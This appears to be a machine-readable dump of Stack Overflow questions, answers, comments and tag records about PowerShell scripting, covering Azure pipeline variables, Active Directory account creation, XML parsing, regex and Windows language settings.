has body: On the PowerShell task (name: GetTokens) you set the token01 and token02 as two output variables. Within the same job, you should use the expression "$(taskName.varName)" to access the output variables. So, on the subsequent tasks, you should access the output variables like as below. steps: . . . - powershell: | . . . Write-Host "##vso[task.setvariable variable=token01;isOutput=true]$token01" Write-Host "##vso[task.setvariable variable=token02;isOutput=true]$token02" name: GetTokens displayName: 'test' . . . - powershell: | newman -v Write-Host "Token01: $(GetTokens.token01)" Write-Host "Token02: $(GetTokens.token02)" For more details, see the documentation "Use output variables from tasks".
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79183970

tfvc
tag name: tfvc
tags question: http://stackoverflow.com/q/79079754
type: Tag

http://stackoverflow.com/a/79099641
score: 0
has body: PowerShell assigns defaults to parameters if the parameter is not passed. PowerShell also only allows omitting the value (argument) for a parameter if it is a switch parameter. So, you can only use -log if $Log is a switch. If it's a switch, you get 2 options...either there or not. Also, PSBoundParameters doesn't contain parameters that aren't passed and are instead set to default values. You could allow empty strings to be passed and then check for that. Something like this: if($PSBoundParameters.Contains('Log')){ if($Log -eq ''){ $Log='default_logfile.log' } } else { #No tee }
type: Answer
answers question: http://stackoverflow.com/q/79099571

http://stackoverflow.com/a/79303424
score: 0
answers question: http://stackoverflow.com/q/79244293
accepted answer of: http://stackoverflow.com/q/79244293
type: AcceptedAnswer
type: Answer
has body: Fundamentally this needs to be done with PowerShell ver >= 7. Also the account performing the action must have Monitoring Metric Publisher. Initially I used the UI to create both table and DCR at the same time. This provided the JSON needed to understand how the ARM template for the DCR should be constructed. As I need to create multiple tables I wanted to automated the creation of the table and the DCR. I already had a DCE in my environment, which is operating well within its limits, there was no need to create new one specifically for this. The data to be ingested would always be in an array whose elements are identical hash tables. With this in mind I created a function that could process the array, working out data types of each value in the hash table. It then creates the Log Analytics table and the associated DCR based on this information. Data types were challenging for a couple of reasons, either not directly translating or requiring some transformation (the function handles this, but could be expanded). Here is the function (preamble removed): function New-AzLogAW-Table(){ param( [parameter(Mandatory = $true, Position = 1)] [PSObject]$Workspace, [parameter(Mandatory = $true, Position = 2)] [string]$TableName, [parameter(Mandatory = $true, Position = 3)] [PSObject]$Data, [parameter(Mandatory = $true, Position = 4)] [string]$Description, [parameter(Mandatory = $false, Position = 5)] [string]$RetentionInDays = 7, [parameter(Mandatory = $false, Position = 6)] [string]$TotalRetentionInDays = 12, [parameter(Mandatory = $true, Position = 7)] [string]$DCE_ID ) $TableName += "_CL" # Determine columns to be created and their data types. $columns = @{}; $Data[0].PSObject.Properties | % { if ($null -eq $_.Value) { $type = "string" if ($_.Name -match "^is") {$type = "boolean"} if ($_.Name -match "time" -or $_.Name -match "date") {$type = "datetime"} } else { $type = ($_.Value.GetType()).Name if ($type -eq "String") { $type = "string" # Test if the value is of type Datet…

http://stackoverflow.com/a/79150422
type: Answer
upvote count: 0
has comment: http://stackoverflow.com/comment/139567834
answers question: http://stackoverflow.com/q/79150204
score: -2
downvote count: 2
has comment: http://stackoverflow.com/comment/139569900
has body: Here is a script that writes to xml. You can replace the XML code with CSV using assembly System.Xml using assembly System.Xml.Linq Function WriteTree { Param ([System.IO.DirectoryInfo]$info, [System.Xml.XmlWriter]$writer) begin{ $size = [long]0; $writer.WriteStartElement("Folder"); } process{ try { $writer.WriteAttributeString('name', $info.Name); $writer.WriteAttributeString('numberSubFolders', $info.GetDirectories().Count.ToString()); $writer.WriteAttributeString('numberFiles', $info.GetFiles().Count.ToString()); $writer.WriteAttributeString('date', $info.LastWriteTime.ToString()); foreach ($childInfo in $info.GetDirectories()) { $size += WriteTree -info $childInfo -writer $writer; } } catch { $errorMsg = [string]::Format("Exception Folder : {0}, Error : {1}", $info.FullName, $_); Write-Host $errorMsg; $writer.WriteElementString('Error', $errorMsg); } $fileInfo = $null; try { $fileInfo = $info.GetFiles(); } catch { $errorMsg = [string]::Format('Exception FileInfo : {0}, Error : {1}', $info.FullName, $_); Write-Host $errorMsg; $writer.WriteElementString('Error',$errorMsg); } if($fileInfo -ne $null) { foreach ($finfo in $fileInfo) { try { $writer.WriteStartElement('File'); $writer.WriteAttributeString('name', $finfo.Name); $writer.WriteAttributeString('size', $finfo.Length.ToString()); $writer.WriteAttributeString('date', $info.LastWriteTime.ToString()); $writer.WriteEndElement(); $size += $finfo.Length; } catch { $errorMsg = [string]::Format('Exception File : {0}, Error : {1}', $finfo.FullName, $_); Write-Host $errorMsg; $writer.WriteElementString('Error', $errorMsg); } } } $writer.WriteElementString('size', $size.ToString()); $writer.WriteEndElement(); return $size; } end{} } $filename = 'c:\temp\test.xml' $folder = 'c:\temp' $writer = $null $settings = [System.Xml.XmlWriterSettings]::new(); $settings.Indent = $true; $writer = [System.Xml.XmlWriter]::Create($filename, $settings); $writer.WriteStartDocument($true); $info = [System.IO.DirectoryInfo]::new($folder); …

http://stackoverflow.com/q/79110476
type: Question
tagged with: powershell-7.4
has body: I have a strange case running something in Powershell 7 returns the expected result, but in Powershell 5 it doesn't unless you break op the line in multiple assignments Does anybody have an idea what goes wrong? $wrong = az role assignment list --all --query "[? contains(scope,'/subscriptions/')]" | ConvertFrom-JSON | Select-Object *, @{n='Key';e={$_.scope+"|"+$_.roleDefinitionName+"|"+$_.principalName}} | Select -expand Key Write-Host Wrong $wrong[0] $right = az role assignment list --all --query "[? contains(scope,'/subscriptions/')]" | ConvertFrom-JSON $right = $right | Select-Object *, @{n='Key';e={$_.scope+"|"+$_.roleDefinitionName+"|"+$_.principalName}} $right = $right | Select -expand Key Write-Host Right $right[0] $wrong and $right are both correct in PowerShell 7 (Azure Portal Cloud Shell), but $wrong is giving the incorrect result in PowerShell 5 (from a DevOps pipeline)... Wrong /subscriptions/***/resourceGroups/***/providers/Microsoft.ApiManagement/service/*** Right /subscriptions/***/resourceGroups/***/providers/Microsoft.ApiManagement/service/***|Owner| The whole string concatenation done in the Select-Object command for new property Key only works when splitting the commands to multiple lines. I'm quite new to PowerShell and have a hard time figuring out all the quirks...
score: 2
linked to: http://stackoverflow.com/q/61411805
upvote count: 2
accepted answer: http://stackoverflow.com/a/79110525
duplicate of: http://stackoverflow.com/q/55575501
has title: Powershell 5 vs 7 different output
downvote count: 0
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79110525
tagged with: powershell-5.1
tagged with: azure-powershell
duplicate of: http://stackoverflow.com/q/61411805
favorite count: 0

object-graph
type: Tag
tags question: http://stackoverflow.com/q/79227970
tag name: object-graph
tags question: http://stackoverflow.com/q/79075877
tags question: http://stackoverflow.com/q/79406020
tags question: http://stackoverflow.com/q/79419029
tags question: http://stackoverflow.com/q/79416406
tags question: http://stackoverflow.com/q/79441853
tags question: http://stackoverflow.com/q/79533895
tags question: http://stackoverflow.com/q/79440370
tags question: http://stackoverflow.com/q/79446131

http://stackoverflow.com/comment/139430339
type: Comment
has text: Glad to hear it, @PaulWilliams. Note that in PowerShell 7, `-Encoding UTF8NoBOM` is the same as `-Encoding utf8`, which is actually the consistent default there. In other words: In PowerShell 7, if you want BOM-less UTF-8, you don't need an `-Encoding` argument at all.
score: 0
comment on: http://stackoverflow.com/q/79072446
type: QuestionComment

http://stackoverflow.com/q/79201757
linked to: http://stackoverflow.com/q/18032147
score: 0
answer count: 2
type: Question
has body: my XML <application-information> **123456** </application-information> <submission-information> 0048 **0053** </submission-information> I'm trying to read these value with Powershell application-type (fdaat4) and its 'InnerText' value 123456 submission-type (fdast9) and its 'Innertext' value 0048 I spent so may hours with different tries and it is still hopeless. *****update I figured it out. The trick is to add the attribute name to the end of the [@attribute]."attribute-name' $AppType = $xml.SelectSingleNode("//admin/application-set/application/application-information/application-number[@application-type]")."application-type" $submisstiontype = $xml.SelectSingleNode("//admin/application-set/application/submission-information/submission-id[@submission-type]")."submission-type" *******************end update Thanks
tagged with: element
has comment: http://stackoverflow.com/comment/139661942
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/139661927
has answer: http://stackoverflow.com/a/79201792
has title: PowerShell CMD to read XML data element
tagged with: powershell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79201850

http://stackoverflow.com/comment/139496364
has text: SSMS is only a UI - is it really relevant to the question?
type: Comment
comment on: http://stackoverflow.com/q/79111442
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139680242
type: Comment
has text: You know what? That worked! Thanks zett!
score: 0
comment on: http://stackoverflow.com/q/79208376
type: QuestionComment

http://stackoverflow.com/q/79175787
answer count: 3
has comment: http://stackoverflow.com/comment/139614736
accepted answer: http://stackoverflow.com/a/79175800
has answer: http://stackoverflow.com/a/79175800
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139614760
upvote count: 2
possible better answer: http://stackoverflow.com/a/79177697
has title: Can't split string with regex
score: 0
has body: I want to split two sentences with 'apple' and 'apples' simultaneously. I try to use a regular expression 'apple*' or 'apple?'. But it doesn't work. I see the 's' in the second part of the second sentence. What's wrong with regex or split ? $spl = '(apple*)' 'This apple for you','These apples for you' | % {$_ -split $spl}
has answer: http://stackoverflow.com/a/79177697
favorite count: 0
has answer: http://stackoverflow.com/a/79175810
tagged with: regex
downvote count: 2
type: Question

http://stackoverflow.com/comment/139524568
comment on: http://stackoverflow.com/q/79124278
type: QuestionComment
type: Comment
has text: @not2qubit I'm asking because it's entirely unclear what you're trying to do. Do you have a real life example instead?
score: 0

http://stackoverflow.com/a/79092006
answers question: http://stackoverflow.com/q/79091974
type: Answer
downvote count: 0
score: 1
upvote count: 1
has body: The reason it fails is because -MailEnabled, -SecurityEnabled and -IsAssignableToRole are switches not bool parameters, if you look at the cmdlet Syntax you'll see them as: New-AzADGroup [-IsAssignableToRole] [-MailEnabled] [-SecurityEnabled] Instead of: New-AzADGroup [-IsAssignableToRole &lt;bool&gt;] [-MailEnabled &lt;bool&gt;] [-SecurityEnabled &lt;bool&gt;] So for a switch param, if present means On or $true otherwise it's considered as Off or $false. New-AzGroup -DisplayName $groupfullname -MailNickName $groupfullname -SecurityEnabled -IsAssignableToRole Should be the proper call to create a group that is a Security Group and is Assignable to Roles that is NOT mail enabled.

http://stackoverflow.com/a/79125714
score: 2
answers question: http://stackoverflow.com/q/79116129
upvote count: 2
downvote count: 0
type: Answer
has body: As iRon commented, you do not capture the object created by New-ADUser and your code now uses a PsCustomObject read from the CSV as value for parameter -Members, but that will not work. Acceptable values for that can be found here Also, I recommend not using those horrible backticks, but instead use Splatting on cmdlets that can take a lot of parameters. Try #------------------------- Create users with CSV & Template ------------------------------- # Import the CSV file $csvUsers = Import-Csv -Path "C:\Users\Administrator\Desktop\Posh_Server2022\AD\Users.csv" # Get the template user (your code shows the Name only, not the SamAccountName which would be a lot easier) # Get-ADUser by default returns these properties: # DistinguishedName, Enabled, GivenName, Name, ObjectClass, ObjectGUID, SamAccountName, SID, Surname, UserPrincipalName # If you need extra user properties, you must provide them in parameter `Properties $propsToCopy = 'StreetAddress', 'City', 'State', 'PostalCode', 'POBox' $templateUser = Get-ADUser -Filter "Name -eq 'Template User' -or DisplayName -eq 'Template User'" -Properties MemberOf, $propsToCopy if (!$templateUser) { throw "Cannot find the template user.." } # Loop through each user in the CSV file and collect the user objects in $newUsers $newUsers = foreach ($user in $csvUsers) { # Create the new user based on the template $userParams = @{ Name = $user.Name GivenName = $user.GivenName Surname = $user.Surname SamAccountName = $user.UserName AccountPassword = $user.Password Instance = $templateUser Enabled = $true PassThru = $true # this makes the New-ADUser cmdlet output the ADPrincipal object it created } New-ADUser @userParams } # add the new users to the groups the Template User is a member of foreach ($groupDN in $templateUser.MemberOf) { Add-ADGroupMember -Identity $groupDN -Members $newUsers }
accepted answer of: http://stackoverflow.com/q/79116129
type: AcceptedAnswer

global
type: Tag
tag name: global
tags question: http://stackoverflow.com/q/79193243

http://stackoverflow.com/comment/139594691
type: Comment
comment on: http://stackoverflow.com/a/79164682
score: 0
has text: Force of habit, just in case
type: AnswerComment

http://stackoverflow.com/comment/139546920
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79133521
has text: That's nice to know, but really useless in this case. My work computer is massively locked down by IT. VS Code is not really an option.

http://stackoverflow.com/comment/139717855
comment on: http://stackoverflow.com/a/79230278
score: 0
has text: Yes, only subscription info
type: AnswerComment
type: Comment

http://stackoverflow.com/a/79139412
type: AcceptedAnswer
has body: Perhaps this approach works, very likely the "Access Denied" exception is because you have permissions to delete the computer but the computer has leaf objects (i.e.: BitLocker) that are protected, ideally -Recursive should work but doesn't seem to be the case. Credit where credit is due, this approach is what Ansible does to workaround this error in _ADObject.psm1#L1162-L1171. # get the computer $adObject = Get-ADComputer 'ExamplePC' $adParams = @{ # Remove below line if you don't want to target a specific DC Server = 'myDC' Confirm = $false } $getADObjectSplat = @{ Filter = '*' Properties = 'ProtectedFromAccidentalDeletion' Searchbase = $adObject.DistinguishedName } # get all leaf objects for this computer Get-ADObject @getADObjectSplat | Sort-Object -Property { $_.DistinguishedName.Length } -Descending | ForEach-Object { # if the leaf object is protected if ($_.ProtectedFromAccidentalDeletion) { # set ProtectedFromAccidentalDeletion to `$false` $_ | Set-ADObject -ProtectedFromAccidentalDeletion $false @adParams } # remove the leaf object $_ | Remove-ADObject @adParams } # remove the computer $adObject | Remove-ADObject @adParams
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139547697
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/79139393
accepted answer of: http://stackoverflow.com/q/79139393

regex
tags question: http://stackoverflow.com/q/79173130
tags question: http://stackoverflow.com/q/79127406
tag name: regex
tags question: http://stackoverflow.com/q/79138711
type: Tag
tags question: http://stackoverflow.com/q/79216721
tags question: http://stackoverflow.com/q/79112116
tags question: http://stackoverflow.com/q/79175787
tags question: http://stackoverflow.com/q/79415674
tags question: http://stackoverflow.com/q/79416406
tags question: http://stackoverflow.com/q/79385377
tags question: http://stackoverflow.com/q/79504183
tags question: http://stackoverflow.com/q/79475192
tags question: http://stackoverflow.com/q/79546631
tags question: http://stackoverflow.com/q/79523314
tags question: http://stackoverflow.com/q/79458246

http://stackoverflow.com/comment/139671943
has text: Downloading and executing a trojan: `Trojan:Script/Wacatac.B!ml`.
score: 3
comment on: http://stackoverflow.com/q/79207415
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79090137
has body: When you use -match (or it's variants) against a single input string, the $Matches automatic variable is updated in the current scope, populated with any captured value - so use that to grab VID value: @{Name = 'VID'; Expression = { if ($_.InstanceId -match '.*VID_(?&lt;vid&gt;[0-9A-F]{4})'){ $Matches['vid'] }}
answers question: http://stackoverflow.com/q/79090100
type: Answer
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/a/79107020
has comment: http://stackoverflow.com/comment/139499682
has body: Note that: It is not possible to set the policy to "This group requires owner approval" for a group using MS Graph. Refer this Blog You have to set it via Access Panel and login as Admin: Login to Access Panel as Global Admin -> Groups -> Select the Group you want to set membership -> Edit Details -> Select This group requires owner approval After the above settings the user will get the user will get the pop-up when request to join group like below:
has comment: http://stackoverflow.com/comment/139534687
score: 1
has comment: http://stackoverflow.com/comment/139534674
answers question: http://stackoverflow.com/q/79102062
type: Answer
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/79234274
upvote count: 1
favorite count: 0
tagged with: windows
type: Question
answer count: 0
downvote count: 0
tagged with: registry
tagged with: event-viewer
tagged with: powershell
has title: Create Windows custom event log
has comment: http://stackoverflow.com/comment/139720496
has body: I need to create custom event logs like its done by OpenSSH (see screenshot). I tried to add registry keys manually. Then I found the file: https://github.com/PowerShell/openssh-portable/blob/0dd6d2cd219a0eb75dc3a498ee5a23973239ca6d/contrib/win32/openssh/Openssh-events.man and tried to install it with minor modifications (provider name and GUID) using wevtutil like its done in OpenSSH installation script. Modified file: https://gist.github.com/ievgiienko/c2d09a9429903b8665351e80a3054ca0 I've also restarted EventLog service and OS after the changes. The problem is that in both cases the logs are not display as SomeTest folder children and slashes remain in their names. Does anybody know how to fix this?
tagged with: event-log
has comment: http://stackoverflow.com/comment/139720507
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/139722623

http://stackoverflow.com/q/79208164
score: 1
upvote count: 1
tagged with: terminal
favorite count: 0
has comment: http://stackoverflow.com/comment/139707090
answer count: 2
type: Question
has comment: http://stackoverflow.com/comment/139674644
linked to: http://stackoverflow.com/q/30611803
has answer: http://stackoverflow.com/a/79228357
has answer: http://stackoverflow.com/a/79225338
possible better answer: http://stackoverflow.com/a/79228357
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79225338
tagged with: scripting
has title: Why does setting the title of my powershell terminal not stick after other commands are run?
downvote count: 0
tagged with: powershell
has body: I have a powershell script that opens several powershell terminals and cd's into different directories and runs the applications in those directories: start powershell @' $host.ui.RawUI.WindowTitle = \"application 1\" cd application1\backend npm install npm run build npm run start '@ start powershell @' $host.ui.RawUI.WindowTitle = \"application 2\" cd application2\backend npm install npm run build npm run start '@ start powershell @' $host.ui.RawUI.WindowTitle = \"application 3\" cd application3\backend npm install npm run build npm run start '@ As you can see, the first thing I do for each terminal is set the title. However, the title gets replaced with each subsequent command. For example, for application1, I see "application 1" as the title but then "npm install" and then "npm run build" and then "npm run start". How do I set the title so that it sticks? That is, I don't want the title changing to each subsequent command after setting it. Note... I tried this: start powershell @' cd application1\backend npm install npm run build npm run start $host.ui.RawUI.WindowTitle = \"application 1\" '@ ...hoping the title would stick since it would be the last command to run, but the terminal stays on npm run start because the application doesn't quit until I hit ctrl-c. Is there another way to accomplish what I'm trying to do? Thanks!
linked to: http://stackoverflow.com/q/66641480
has comment: http://stackoverflow.com/comment/139687442
has comment: http://stackoverflow.com/comment/139704009
has comment: http://stackoverflow.com/comment/139707266

http://stackoverflow.com/comment/139503834
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79112558
type: AnswerComment
has text: @Theo Any suggestions where (in windows) to find an ICO file that have many icons inside?

http://stackoverflow.com/comment/139546661
has text: `Microsoft.PowerShell.SDK` is not compatible with .NET Framework. It works only with .NET 8.0
type: QuestionComment
comment on: http://stackoverflow.com/q/79134985
type: Comment
score: 1

http://stackoverflow.com/q/79162911
has title: Powershell Job does not fail as expected
has comment: http://stackoverflow.com/comment/139592392
has body: i ran into a strange situation which i can not explain to myself. I have solved it by a workaround, so got my result, but i would like to understand why my workaround is needed. $scr = { $someVar = &quot;&quot; nonsenseCmd } If i start this as a Job like this : Start-Job -ScriptBlock $scr | Wait-Job | Get-Job my expectation is that the job will fail, due to the nonsenseCmd. But the result is Completedinstead of Failed. Now, if i comment the very first line of the scriptblock : $scr = { #$someVar = &quot;&quot; nonsenseCmd } the job fails as i have excpected it : Receive-Job 19 The way i solved this for me now is to use Exceptions. $scr = { try { $someVar = &quot;&quot; nonsenseCmd } catch { Write-Host $_ throw } } So is using try/catch realy needed in this situation? Why does the job as shown in the first example does not fail? I have tested it with and Regards Ronny from Germany
score: 0
tagged with: powershell-5.1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139590761
has comment: http://stackoverflow.com/comment/139593191
type: Question
tagged with: powershell-7.4
answer count: 0
has comment: http://stackoverflow.com/comment/139591560
tagged with: powershell

http://stackoverflow.com/q/79116129
has comment: http://stackoverflow.com/comment/139529526
has comment: http://stackoverflow.com/comment/139528993
has title: Powershell - Create new user accounts from CSV & simultaneously populate these new accounts with template account info (Address & group membership)
has comment: http://stackoverflow.com/comment/139529123
has comment: http://stackoverflow.com/comment/139529582
tagged with: powershell
answer count: 1
type: AnsweredQuestion
score: 0
tagged with: account
has comment: http://stackoverflow.com/comment/139528974
accepted answer: http://stackoverflow.com/a/79125714
tagged with: http://stackoverflow.com/tag/csv
has answer: http://stackoverflow.com/a/79125714
has body: I can create user accounts with a CSV ok in Powershell. I can also create an account from a template account in Powershell, and the info like address & group memberships comes across ok. However, when trying to combine both operations inside of a foreach loop, the additional info from the template account will not populate into the new accounts created from the CSV. I tried using variables to capture the Template User properties, to include using a variable to capture only the group info from the template account. I also tried using specific names for the accounts instead of variables. However, the data from the template account does not go over to the accounts created from CSV in the foreach loop. You can see in the below images, that the data never populates in the newly created users. (I don't know why the images aren't showing, it showed me a thumbnail & gave me option to "Add Image") You can see in the following code the things that I have tried: #------------------------- Create users with CSV & Template ------------------------------- # Goal = to get all settings from template account to include city, address, & groups # into each account that is being created from the CSV. # The accounts create, but the other data (address & groups) do not populate. # Import the CSV file $users = Import-Csv -Path "C:\Users\Administrator\Desktop\Posh_Server2022\AD\Users.csv" # Get the template user $templateUser = Get-ADUser -Identity "Template User" # Loop through each user in the CSV file foreach ($user_ in $users) { # Create the new user based on the template New-ADUser -Name $user_.Name ` -GivenName $user_.GivenName ` -Surname $user_.Surname ` -SamAccountName $user_.UserName ` -AccountPassword $user_.Password ` -Instance $templateUser # Get the groups that the template user is a member of #$groups = Get-ADPrincipalGroupMembership -Identity $templateUser ############## THIS IS WHERE PROBLEMS START ############## #$tmpltUsr = Get-ADUser 'Template User' -Properties MemberOf …
has comment: http://stackoverflow.com/comment/139515262
linked to: http://stackoverflow.com/q/36060176
tagged with: active-directory
has comment: http://stackoverflow.com/comment/139505821
type: Question
tagged with: templates

http://stackoverflow.com/comment/139680785
type: Comment
score: 0
has text: Unfortunately no. I went in a different direction so I wouldn't have to download as many files. But it would definitely work. I liked the login and will use it.
type: AnswerComment
comment on: http://stackoverflow.com/a/79207013

http://stackoverflow.com/q/79077628
has body: I am exploring Deno 2.0, am following their documentation, and their given Powershell command is failing: deno completions powershell >> $profile out-file : Could not find a part of the path 'C:\Users\user\OneDrive\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1'. I am using VSCode, have cloned the deno repo, setup Rust, and would like to debug/step through the code that the above Powershell script uses (location: cli/args/flags.rs). How can I set a breakpoint in VSCode and have it hit, given that it is initialized through the PowerShell command line? EDIT2: I am not asking to fix the error, per se. I know how to attach a debugger to VSCode. I have successfully debugged both Rust / Deno / Typescript code in the past. What I am having an issue with is "connecting" my breakpoints in VSCode Deno Source Code and the completely separate window that is PowerShell (where I actually run the deno script that launches Deno).
type: Question
has comment: http://stackoverflow.com/comment/139442873
has comment: http://stackoverflow.com/comment/139443045
tagged with: rust
has comment: http://stackoverflow.com/comment/139436038
answer count: 0
tagged with: powershell
tagged with: deno
has title: How to debug Powershell Script in Deno Source Code
has comment: http://stackoverflow.com/comment/139444516
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139434908
has comment: http://stackoverflow.com/comment/139443076
has comment: http://stackoverflow.com/comment/139435042
tagged with: command-line-interface

http://stackoverflow.com/q/79188506
type: Question
has title: Add a value for sprint in an existing JIRA ticket using invoke-restmethod
tagged with: powershell
answer count: 1
has answer: http://stackoverflow.com/a/79188739
score: 0
type: UnansweredQuestion
tagged with: invoke-restmethod
tagged with: jira-rest-api
has body: I would like to add a sprint value (or name or string or id) in an existing JIRA ticket via Powershell and more specifically invoke-restmethod (not with curl). Could somebody mention me an existing link or give me a example ?
tagged with: jira

http://stackoverflow.com/comment/139541200
comment on: http://stackoverflow.com/a/79133066
type: Comment
has text: Have you tried it ? @TheDemonLord
score: 0
type: AnswerComment

http://stackoverflow.com/q/79138280
has body: Win10x64 LTCS. I have 3 input languages in the system: English (default), Russian, Ukrainian The problem is that Russian becomes default after hibernate, the bug. I can cure this by visit the languages list, set Russian as default and set English as default again. I want to automate this operation using batch file and enter commands like this. I can execute batch on rehibernate: powershell -command "Set-WinUserLanguageList -LanguageList ru-RU, en-US, ua-UA -Force" powershell -command "Set-WinUserLanguageList -LanguageList en-US, ru-RU, ua-UA -Force" But something wrong, need some help
tagged with: locale
has answer: http://stackoverflow.com/a/79140889
has answer: http://stackoverflow.com/a/79138694
favorite count: 0
answer count: 2
has title: Set default input language via powershell on multilanguage system, Windows 10
type: UnansweredQuestion
score: 1
tagged with: uiculture
upvote count: 1
tagged with: windows
type: Question
downvote count: 0
tagged with: powershell

http://stackoverflow.com/a/79109834
has comment: http://stackoverflow.com/comment/139499864
type: Answer
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/79109832
has body: The wmi cmdlets are not supported in Powershell 7.x, which is the multiplatform version. Use the cim cmdlets insteads.

http://stackoverflow.com/a/79111010
accepted answer of: http://stackoverflow.com/q/79110879
has comment: http://stackoverflow.com/comment/139495787
has comment: http://stackoverflow.com/comment/139496530
has body: Your error message implies one of two causes: The directory in which you want to store the CSV file, C:\Users\[username]\Desktop, doesn't actually exist. The directory path contains [ and/or ] characters (unlikely in your case; I'm assuming that [username] is just a placeholder), which PowerShell interprets as wildcard metacharacters, due to your use of the -Path rather than the -LiteralPath parameter. Using -LiteralPath eliminates the potential misinterpretation of the path as a wildcard expression. While you could use $null = New-Item -Type Directory -Force $env:USERPROFILE\Desktop to create the directory on demand, the absence of this standard directory suggests that the current user's desktop is located elsewhere, which can happen if the user-profile directory ("$env:USERPROFILE") is configured to not be the same as the user's home directory ("${env:HOMEDRIVE}${env:HOMEPATH}") Using "${env:HOMEDRIVE}${env:HOMEPATH}\Desktop" is one option, though a more direct expression of the intent is to use [Environment]::GetFolderPath('Desktop') Therefore: # Get the current user's desktop path using the relevant .NET API. $desktopPath = [Environment]::GetFolderPath('Desktop') # Run the command and export the results to a CSV file. # Note the use of -LiteralPath. Get-EXOMailbox -RecipientTypeDetails UserMailbox -ResultSize Unlimited | Get-EXOMailboxStatistics | Select-Object DisplayName, TotalItemSize, MailboxGuid | Sort-Object TotalItemSize -Descending | Export-Csv -LiteralPath "$desktopPath\MailboxStatistics.csv" -NoTypeInformation
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79110879
type: Answer
score: 0

http://stackoverflow.com/comment/139612143
type: AnswerComment
has text: Fair enough, and I should know this. But those decade old memories have somehow gotten replaced by ignorant bliss. ♻️
type: Comment
comment on: http://stackoverflow.com/a/79174103
score: 0

http://stackoverflow.com/a/79140889
score: 1
answers question: http://stackoverflow.com/q/79138280
downvote count: 0
type: Answer
upvote count: 1
has body: In a comment you note that the problem was that Set-WinUserLanguageList complained about an invalid language passed as part of the array of languages to -LanguageList and, indeed, ua-UA should have been uk-UA (Ukrainian).[1] You could have avoided the problem if you hadn't hardcoded the array passed to -LanguageList and instead retrieved the list of installed user language programmatically: # Get the current list of installed user languages (as an array). $userLangs = (Get-WinUserLanguageList).LanguageTag You could then simply swap the array's first two entries for your successive Set-WinUserLanguageList calls, and use a single call to powershell.exe, the Windows PowerShell CLI. Here's the PowerShell code in isolation, spread across multiple lines for readability, with comments (note that the Set-WinUserLanguageList calls emit warnings, which you can suppress with -WarningAction Ignore; the Start-Sleep 1 call (1-second sleep) shouldn't be necessary, but, sadly, is): # Get the list (array) of user languages. $userLangs = (Get-WinUserLanguageList).LanguageTag # Create a copy that has the 1st and 2nd elements swapped. $userLangsModified = $userLangs[1, 0] + $(if ($userLangs.Count -ge 3) { $userLangs[2..($userLangs.Count-1)] }) # Apply the workaround: # Set the modified list. Set-WinUserLanguageList -Force -LanguageList $userLangsModified # Sleep a little. !! As you've found out, this is necessary # for the 2nd call to take effect. Start-Sleep 1 # Switch back to the original list. Set-WinUserLanguageList -Force -LanguageList $userLangs And here's the (of necessity) single-line form for your batch file: @echo off powershell -c "$userLangs = (Get-WinUserLanguageList).LanguageTag; $userLangsModified = $userLangs[1, 0] + $(if ($userLangs.Count -ge 3) { $userLangs[2..($userLangs.Count-1)] }); Set-WinUserLanguageList -Force -LanguageList $userLangsModified; Start-Sleep 1; Set-WinUserLanguageList -Force -LanguageList $userLangs" Optional reading: How to test the validity of a …

http://stackoverflow.com/a/79103219
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79102588
type: Answer
has body: Running a batch file (*.cmd or *.bat) from PowerShell of necessity involves a cmd.exe child process. (PowerShell itself doesn't understand batch files, only the batch-file interpreter, cmd.exe does; as a separate executable, it invariably runs in a child process.) A child process fundamentally cannot set its parent's working directory (nor can it modify its environment variables). Thus, whatever a batch file sets as its working directory has no effect on a PowerShell caller. It follows that changing the caller's working directory is only possible via code that runs in-process. Both cmd.exe and PowerShell run their script files - batch files (*.cmd, *.bat) and PowerShell scripts (*.ps1), respectively - in-process, enabling script files to change the process' working directory session-globally in their native shell - this is what you saw when you called your batch file from a cmd.exe session. In PowerShell, you can create a *.ps1 file with the same content as your batch file (in this case), and calling it (e.g. .\myscript.ps1) will change the PowerShell session's working directory. Conversely, if you want to scope (limit) the working-directory change to a given script file, so that the original working directory is restored on exiting the script: In cmd.exe, you can achieve this by enclosing batch-file code in setlocal and endlocal statements (the latter is often omitted, because it is implied upon exiting a batch file), which not only restores the original working directory, but also the original environment variables. PowerShell offers no analogous mechanism,[1] so the previous state must be saved and restored manually: To restore the previous working directory (location), you must use the following idiom: $oldPwd = $PWD try { # ... script code that changes the working dir. goes here } finally { Set-Location -LiteralPath $oldPwd } That said, it is for this reason that Set-Location (cd) calls are best avoided in PowerShell scripts. [1] However, PowerShell by default …
upvote count: 3
score: 3
answers question: http://stackoverflow.com/q/79102588
type: AcceptedAnswer

http://stackoverflow.com/comment/139708978
type: QuestionComment
comment on: http://stackoverflow.com/q/79227970
type: Comment
score: 0
has text: for the inner loop I think you want `foreach ($Item in $root)` or maybe `foreach ($Item in $root.Items)`?

start-process
tags question: http://stackoverflow.com/q/79151185
tags question: http://stackoverflow.com/q/79145598
type: Tag
tag name: start-process
tags question: http://stackoverflow.com/q/79291780
tags question: http://stackoverflow.com/q/79273698
tags question: http://stackoverflow.com/q/79351553
tags question: http://stackoverflow.com/q/79397536

http://stackoverflow.com/comment/139469667
has text: Don't you think updating the PowerShell module to the latest version will resolve your issue? `Update-Module -Name Az -Force`
comment on: http://stackoverflow.com/q/79096023
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79208836
